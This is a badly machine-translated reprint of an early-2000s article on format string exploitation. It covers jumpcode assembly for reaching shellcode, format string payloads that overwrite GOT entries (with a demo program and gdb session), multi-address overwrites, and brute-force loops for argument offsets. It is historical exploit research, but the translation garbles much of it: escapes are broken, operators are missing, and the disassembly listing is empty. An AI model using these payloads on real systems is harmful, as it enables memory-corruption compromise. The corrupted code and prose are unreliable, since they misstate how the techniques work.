Advanced Format String Exploit Technology P59-0X07 (on)
Create time: 2002-08-17
Article properties: reprint
Article submission:
Xundi (xundi_at_xfocus.org)
Advanced Format String Exploit Technology P59-0X07 (on)
Original: << Advances in Format String Exploiting >>
By Gera
Translation finishing by
Alert7
Home:
http://www.xfocus.org/ http://www.whitecell.org/
Yikaikai
Part 1: Violent crack formatted strings
Part II: Using the Heap String (in SPARC)
| = --------------- = [Part: Violent crack formatted string] = --------------- = |
| = ---------------------- = [Gera
1 Introduction
2 - 32 * 32 == 32 - Using Jump Codes (JumpCodes)
2.1 - Write code in any known place
2.2 - Code of other places
2.3 - No address available
3 - n times accelerated
3.1 - Multiple address coverage
3.2 - Multi-parameter violence crack
4 - More Greets and Thanks
5 - References
Preface:
This article is originally written by the Whitecell Forum (
Http://www.whitecell.org/forums/) yikaikai translated, unfortunately now
He didn't have time, just transferred to me. But still want to thank yikaikai's hard translation.
This article is how to violently crack the article of Format Sting. What is discussed in this article is used in Syslog Format String
BUG, it is not possible to obtain feedback information using Format String bug. Feedback can be obtained using Format String bug
In the case of information, we can learn the information obtained. This makes our Exploit more intelligence. Please refer to PAPPY@miscmag.com
Written, I translated << How to write remote exploit >>.
This article is just some IDEA, and the specific implementation is written by yourself. The translation is a bit rush, and the wrong place has an ax.
--[ 1 Introduction
Maybe you are looking for articles about Format strings Exploit. You can first look at the scut written very exciting
Format strings articles.
This article is about two tips for speeding violent cracking Format Stings when using Exploit.
"... violent cracking is of course not a happy thing, many of Exploit's authors hate something, people think about
Use other methods to replace violent cracks "
Thanks to all insessings in this regard, especially {Maxx, Dvorak, Scrippie}, scut [], lg (zip), and Lorian K.
- [2. 32 * 32 == 32 - Use jump code
A bug of a Format strings can be written to anywhere. The author calls it as Write-Anything-Anywhere
Permission. When you have Write-Anysthing-Anywhere permissions, some methods are described, such as using Format StringBug to rewrite the strcpy () function of the destination pointer, the parameter variable of the free () function and the overflow Ret2Memcpy buffer (pouring this specific) What?), Etc.
Scut [1], Shock [2], and some other people explained several ways to own Write-Anything-Anywhere privileges
The implementation process of the hook program is coming. For example, modify the GOT, modify the function pointer, modify the ATEXIT structure, the class's virtual function pointer, and the like. A
When you want to do this, you must know or predict two different addresses: function pointer addresses and the address of the shellcode. If you
If you want to blind violence, you need to guess 64. In fact, there are so many, the GOT address always starts at 0x0804 address, you
The code always begins with 0x0805 ... It is true for Linux, so it is not 64 bits, but 32 bits. So you only need to guess
4,294,967,296 times ... You may think of a 4K NOPS, this, you can jump 4k each time, this is reduced to
1,048,576 times. There is also a GOT array for each element size of 4 bytes, and there is 262,144 ... Oh, even the smallest one.
262, 144 are too big to talk remotely (it is possible to say to the local).
Sometimes we can use some other technologies. If we have read permissions, we can learn something on the target process.
Or turn your write permissions into read permissions, or use a large number of NOPS instructions, or use target stack, or just hard coded address values.
Wait, please use you.
You can also do more things, because you are not restricted to write 4 bytes, you can write your shellcode to any
The address is going.
In fact, people who are familiar with Format strings bug will think of this --- written shellcode to any address.
(If there is a class test code
For (;;)
Printf (BUF);
)
About this I also wrote a kind of protection for << to bypass Libsafe - override _dl_lookup_versioned_symbol Technology >>
Among them, a new technology - coverage _dl_lookup_versioned_symbol technology. Since then, the control is controlled by the control.
There are many ways in terms of aspects.
Summarize the next few ways:
Coverage GOT
2. Using DTORS
3. Using C Library Hooks
4. Use the ATEXIT structure (static compiling version)
5. Cover function pointer
6. Cover JMPBUF'S
7. Cover DL_LOOKUP_VERSIONED_SYMBOL
In fact, covering DL_LOOKUP_VERSIONED_SYMBOL is also overwriting GOT technology, just LD got
---- [2.1 Write code in any known place
As long as the format string bug is existed, you can write anything to the memory of memory, so you can choose
Known writable addresses. For example, 0x8051234, we can write the code in this place, then modify the function pointer (Got, Atexit)
Structure, etc.) Let them point to it:
Got [Read]: 0x8051234; of Course Using Read is Just
an esample
0x8051234: shellcode
Now, the address of shellcode is our designated, always 0x8051234, so you only need to crack the modification
Function pointer address, you will crack these 15 bits in the worst case. This amount is also very big.
You can write a 200-byte shellcode when you use the format string to use this technology (can you?), Maybe you can only write a 30-byte shellcode, or you can only write a few bytes .. So, we need one
Jump code (Jumpcode).
---- [2.2 Code of other places
I believe you can place some code in any address memory of the target process. If this is the case, we need it.
A jump code (JMPCode) to locate shellcode and jump there. Do this is relatively simple, just a small technology.
If shellcode is somewhere in the stack, if you do the jump code, you probably know shellcode
How far is SP, you can jump to the SP 8 or 5 bytes:
Got [read]: 0x8051234
0x8051234: Add $ 0x200,% ESP; Delta from sp to code
JMP *% ESP; JUST USE ESP IF you can
ESP 0x200: Nops ...; Just In Case Delta IS
Not real constant
Real shellcode; this is not writen using
The format string
So, if the shellcode code is in the heap (HEAP)? Do you have any good ideas? The following ideas come from Kato
(This version is 18 Bytes, Kato's version is longer, he did not use Format String):
Got [read]: 0x8051234
0x8051234: CLD
MOV $ 0X4F54414A,% EAX; SO IT Doesn Find
INC% EAX; Itself (TX Juliano)
MOV $ 0x804FFF0,% EDI; Is IT Low ENOUGH?
Make It Lower
Repne scaSL
JCXZ.-2; Keep Searching!
JMP * $ EDI; UPPER CASE Letters
Are Ok opcodes.
Somewhere
In Heap: Kato; if you know the alignment
Kkato; One Is Enough, Otherwise
Kkato; Make Some Be Found
Kkato
Real shellcode
If you are in Stack, you don't know where it is exactly? (10bytes)
Got [read]: 0x8051234
0x8051234: MOV $ 0X4F54414A,% EBX; SO IT Doesn Find
INC% EBX; Itself (TX Juliano)
POP% EAX // Put the READ parameter POP
CMP% EBX,% EAX
JNZ.-2
JMP * $ ESP
Somewhere
In Stack: Kato; You'll Know the alignment
Real shellcode
Are there other places? OK, you can construct your JMPCode code yourself :-) But be careful, 'kato' may not be a
Very well-constructed string because it may bring some side effects. :-)
- | Friendly function | - When you modify GOT, let him point to your function, then you can do some hands and feet. For example, if you change the function pointer,
The parameters of the free () function point to the buffer of Shellcode, we only need to do this: (2 bytes)
Got [free]: 0x8051234; using free this time
0x8051234: POP% EAX; Discarding Real RET Addr
Ret; jump to free's argument
There are also other functions in the same way ... Different, you may need some jump code with a slightly complex point:
(7 or 10 bytes)
Got [syslog]: 0x8051234; using syslog
0x8051234: POP% EAX; Discarding Real RET Addr
POP% EAX
Add $ 0x50,% Eax; Skip Some Non-Code Bytes
JMP * $ EAX
If there is no other method, you can distinguish Crash and hang (Hung), you can use an infinite loop to make
Target HUNG: You can violently crack the address of the GOT until the server hangs, then you know the correct position of the GOT,
Then you can stroke the address of the shellcode.
Got [exit]: 0x8051234
0x8051234: jmp.; Infinite loop
---- [2.3 No available addresses
The author doesn't like to use any address, such as 0x8051234, he uses a slightly different way
Got [Free]: & got [free] 4; Point it to the next 4 bytes
Jumpcode; address is got [free] 4
You don't know the address of GOT [EXIT], but we assume that we already know, then point it to 4 bytes.
Place JumpCode. For example, assume got [exit] in 0x80490994, then your jump code is 0x8049098,
Then you have to write the value 0x8049098 to address 0x8049094. In this case, it will jump when you run exit ().
0x8049098 Execution:
/ * fstring.c *
* Demo Program to Show Format Strings Techinques *
* specially crafted to feed your brey by gera@corest.com * /
Int main () {
Char BUF [1000];
STRCPY (BUF,
"/ x88 / x96 / x04 / x08" // got [free] 's address, this is the address on my machine
"/ x8a / x96 / x04 / x08" //
"/ x8c / x96 / x04 / x08" // jumpcode address (2 byte for the demo)
"% .38528u" // Complete to 0x968c (0x968c-3 * 4)
"% 4 $ hn" // Write 0x968a to 0x8049688 "%. 29048U" // Complete to 0x10804 (0x10804-0x968c)
"% 5 $ hn" // Write 0x0804 to 0x804968a
"% .47956u" // Complete to 0x1c358 (0x1c358-0x10804)
"% 6 $ hn" // Write 0xc35b (pop - reet) to 0x804968c
);
Printf (BUF);
Free (buf); // alert7 add
}
[alert7 @ redhat73 alert7] $ gcc -o fstring fstring.c
[alert7 @ redhat73 alert7] $ gdb fstring -q
(GDB) Br main
Breakpoint 1 at 0x8048479
(GDB) R
Starting Program: / Home / Alert7 / Fstring
Breakpoint 1, 0x08048479 in main ()
(GDB) disass main
Dump of assembler code for function main:
0x8048470
0x8048471
0x8048473
0x8048479
0x804847c
0x8048481
0x8048487
0x8048488
0x804848D
0x8048490
0x8048493
0x8048499
0x804849a
0x804849f
0x80484a2
0x80484a5
0x80484ab
0x80484ac
0x80484B1
(GDB) B * 0x80484acbreakpoint 2 AT 0x80484ac
(GDB) C
...
00000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000
Breakpoint 2, 0x080484ac in main ()
(GDB) x / x 0x8049688
0x8049688 <_global_offset_table_ 28>: 0x0804968c
(GDB) x / 2i 0x0804968c
0x804968c <_global_offset_table_ 32>: POP% EAX
0x804968d <_global_offset_table_ 33>: RET
(GDB) C
Continuing.
Program received Signal SigSegv, Segmentation Fault.
0xBfffff720 in ?? ()
OK, already jumped to the buf execution.
At first, the author did not add free (BUF), and the free function was not used in the program, and the Free function did not appear in the GOT.
In the example, the got [free] address is 0x8049688, we use format string bug to put GOT [free]
The value is changed to 0x0804968c. When free () is called, it will be turned to 0x0804968c to execute.
The last method has another benefit, but it can not only use the Format string --- each time you write different addresses,
Moreover, it can be used when there is write-anything-anywhere privilege. Just like the destination pointer to the strcpy () function
The same or a buffer overflow of Ret2memcpy. If you are smart enough, you use this technology to
Single Free () bug (free (BUF), BUF's Chunk can also control it.
- [3. n times accelerated
---- [3.1 - Multiple Address Covering
If you can write more bytes, you can not only put shellcode or jumpcode to you want to put
The place, and you can change multiple pointers at the same time, and speed up the crack speed again.
Of course, this also needs Write-Anything-Anywhere permissions, which allows us to write more than 4bytes. Below
Use the simple way of format strings to write the same value to all pointers.
Suppose we use the format string below 0x12345678:
"/ x94 / x90 / x04 / x08" // The address to write the first 2 bytes
"Aaaa" // Space for 2nd% .u
"/ x96 / x90 / x04 / x08" // the address for the next 2 bytes
"% 08X% 08X% 08X% 08X% 08X% 08X" // POP 6 arguments
"% .22076u" // Complete to 0x5678 (0x5678-4-4-4-6 * 8)
"% hn" // Write 0x5678 to 0x8049094
"% .48060u" // Complete to 0x11234 (0x11234-0x5678)
"% hn" // Write 0x1234 to 0x8049096
Because% hn does not add characters to Output String, we can use the same value without using padding.
Write a few different places. For example, write the value 0x12345678 in the address 0x8049094 as the Format String below.
Five consecutive addresses:
"/ x94 / x90 / x04 / x08" // addresses where to write 0x5678
"/ x98 / x90 / x04 / x08" //
"/ x9c / x90 / x04 / x08" //
"/ xa0 / x90 / x04 / x08" //
"/ xa4 / x90 / x04 / x08" //
"Aaaa" // Space for 2nd% .u
"/ x96 / x90 / x04 / x08" // addresses for 0x1234
"/ x9a / x90 / x04 / x08" //
"/ x9e / x90 / x04 / x08" //
"/ xa2 / x90 / x04 / x08" //
"/ xa6 / x90 / x04 / x08" //
"% 08X% 08X% 08X% 08X% 08X% 08X" // POP 6 arguments
"% .22044u" // complete to 0x5678: 0x5678- (5 1 5) * 4-6 * 8
"% hn" // Write 0x5678 to 0x8049094
"% hn" // Write 0x5678 to 0x8049098
"% hn" // Write 0x5678 to 0x804909c
"% hn" // Write 0x5678 to 0x80490a0
"% hn" // Write 0x5678 to 0x80490a4
"% .48060u" // Complete to 0x11234 (0x11234-0x5678)
"% hn" // Write 0x1234 to 0x8049096
"% hn" // Write 0x1234 to 0x804909A
"% hn" // Write 0x1234 to 0x804909e
"% hn" // Write 0x1234 to 0x80490a2
"% hn" // Write 0x1234 to 0x80490A6
Or is equivalent to using $
"/ x94 / x90 / x04 / x08" // addresses where to write 0x5678
"/ x98 / x90 / x04 / x08" //
"/ x9c / x90 / x04 / x08" // "/ xa0 / x90 / x04 / x08" //
"/ xa4 / x90 / x04 / x08" //
"/ x96 / x90 / x04 / x08" // addresses for 0x1234
"/ x9a / x90 / x04 / x08" //
"/ x9e / x90 / x04 / x08" //
"/ xa2 / x90 / x04 / x08" //
"/ xa6 / x90 / x04 / x08" //
"% .22096u" // Complete to 0x5678 (0x5678-5 * 4-5 * 4)
"% 8 $ hn" // Write 0x5678 to 0x8049094
"% 9 $ hn" // Write 0x5678 to 0x8049098
"% 10 $ hn" // Write 0x5678 to 0x804909c
"% 11 $ hn" // Write 0x5678 to 0x80490a0
"% 12 $ hn" // Write 0x5678 to 0x80490a4
"% .48060u" // Complete to 0x11234 (0x11234-0x5678)
"% 13 $ hn" // Write 0x1234 to 0x8049096
"% 14 $ hn" // Write 0x1234 to 0x804909A
"% 15 $ hn" // Write 0x1234 to 0x804909e
"% 16 $ hn" // Write 0x1234 to 0x80490a2
"% 17 $ hn" // Write 0x1234 to 0x80490a6
In this example, five "function pointers" have been rewritten once, and of course more. The real limit is how long you can provide a string.
If you don't directly use the parameters (that is, if you don't use $ hn case), you have to consider how many parameters do you need to determine POP in order to get the address to be written.
Generally use parameter access is limited (Solaris's library is 30, some Linuxes are 400, perhaps other values).
If you want to combine Jumpcode and multi-address overlay technology, you must remember the jump code (jumpcode) is not
4 BYTES behind the function pointer, but farther, this is done in how much addresses you want to overwrite.
---- [3.2 - Multi-parameter violent crack
Sometimes you don't know how many parameters needed to POP, or when you use $ hn, you don't know how many parameters need to be jumped directly, so you need to try it until you
Get the correct value. Sometimes we don't have a better way, especially when the Format String bug is unfashionable.
But in any case, you may encounter the case where you don't know how many parameters to be POP, we can use the following example to find it.
POPS = 8
Worked = 0
While (not worked):
FString = "/ x94 / x90 / x04 / x08" # got [free] 's addressfstring = "/ x96 / x90 / x04 / x08" #
FString = "/ x98 / x90 / x04 / x08" # jumpcode address
FString = "% .37004u" # Complete to 0x9098
FString = "%%% D $ hn"% POPS # Write 0x9098 to 0x8049094
FString = "% .30572u" # COMPLETE TO 0x10804
FString = "%%% D $ hn"% (POPS 1) # Write 0x0804 to 0x8049096
FString = "% .47956u" # Complete to 0x1c358
FString = "%%% D $ hn"% (POPS 2) # write (pop - reet) to 0x8049098
Worked = try_with (fstring)
POPS = 1
In this example, we use the increment variable 'pops' method to find the appropriate value (use direct parameter access). If we repeat multiple times
With the target address, we can grow POPS variables faster. For example, we can repeat each address 5 times, so we can
Accelerate the speed of violent crack.
POPS = 8
Worked = 0
While (not worked):
FString = "/ x94 / x90 / x04 / x08" * 5 # got [free] 's address
FString = "/ x96 / x90 / x04 / x08" * 5 # repeat eddress 5 Times
FString = "/ x98 / x90 / x04 / x08" * 5 # jumpcode address
FString = "% .37004u" # Complete to 0x9098
FString = "%%% D $ hn"% POPS # Write 0x9098 to 0x8049094
FString = "% .30572u" # COMPLETE TO 0x10804
FString = "%%% D $ hn"% (POPS 6) # Write 0x0804 to 0x8049096
FString = "% .47956u" # Complete to 0x1c358
FString = "%%% D $ HN"% (POPS 11) # write (pop - return) to 0x8049098
Worked = try_with (fstring)
POPS = 5
Found any random copy of 5 in 5, the more copy speeds, the faster
This is a simple idea, just override the address. If you have any questions, you can use the pen and paper painting, first-draw a Stack with format string, then put some random parameters in the top of the stack, then manually start violent crack ...
This looks stupid but maybe there will be a heaven, you will never know. Of course, not directly parameter access
It can also be done. But it is more complicated because you have to recalculate% .u each time you have to recalculate the length.
- [Unnamed and not listed
Through this article, my point is: Format string can be achieved with 4-bytes-write-anything-annriwhere
There are many permissions, it is to write any bytes to any address (that is, there is a fulw write-anything-annithing-anywhre authority),
This will give us more possibilities.
Ok, the article will be written here, and the rest is done by you.
- [4. More Greets and Thanks
RIQ, For Trying Every Stupid IDEA I Have and MAKING IT REAL!
Juliano, for being ou format strings.
Impact, for For for Forcing Me To Spend Time Thinking About All Theese Amazing
Things.
- [5. References
[1] Exploiting Format String VulneRability, Scut.
March 2001.
http://www.team-teso.net/articles/fectstring
[2] W00W00 On Heap overflows, Matt Conover (Shok) and W00W00 Security Team.
January 1999.
http://www.w00w00.org/articles.html
[3] Juliano's Badc0ded
http://community.corest.com/~juliano
[4] Google The Oracle.
http://www.google.com